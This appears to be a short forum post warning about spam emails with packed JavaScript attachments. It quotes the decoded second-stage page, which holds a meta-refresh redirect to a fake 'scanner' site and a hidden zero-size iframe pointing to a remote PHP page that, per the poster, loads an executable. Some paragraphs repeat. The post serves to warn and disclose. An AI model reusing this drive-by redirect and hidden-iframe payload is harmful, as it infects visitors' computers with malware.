Becareful of emails coming from domains like rentalsites.com...I keep getting spam with an html attached about 449 bytes in size with packed javscript code inside. After decoding:
First it loads this URL...turksagliksen.org.tr/x.html which has the code below.
It executes Java locally on your PC to load an executable whilst redirecting you to a parked domain so that everything seems harmless. Remove those emails if you get them.
Report here for people who know sec.
First it loads this URL...turksagliksen.org.tr/x.html which has the code below.
Code:
PLEASE WAITING.... 4 SECONDS <meta http-equiv="refresh" content="4;url=http://xxxvideo-ghhn.cz.cc/scanner10/?afid=24" /> <iframe width="0" height="0" src="http://fajigeg.co.cc/images/index.php?do=boz&pg=168&next=undo"></iframe>It executes Java locally on your PC to load an executable whilst redirecting you to a parked domain so that everything seems harmless. Remove those emails if you get them.
Report here for people who know sec.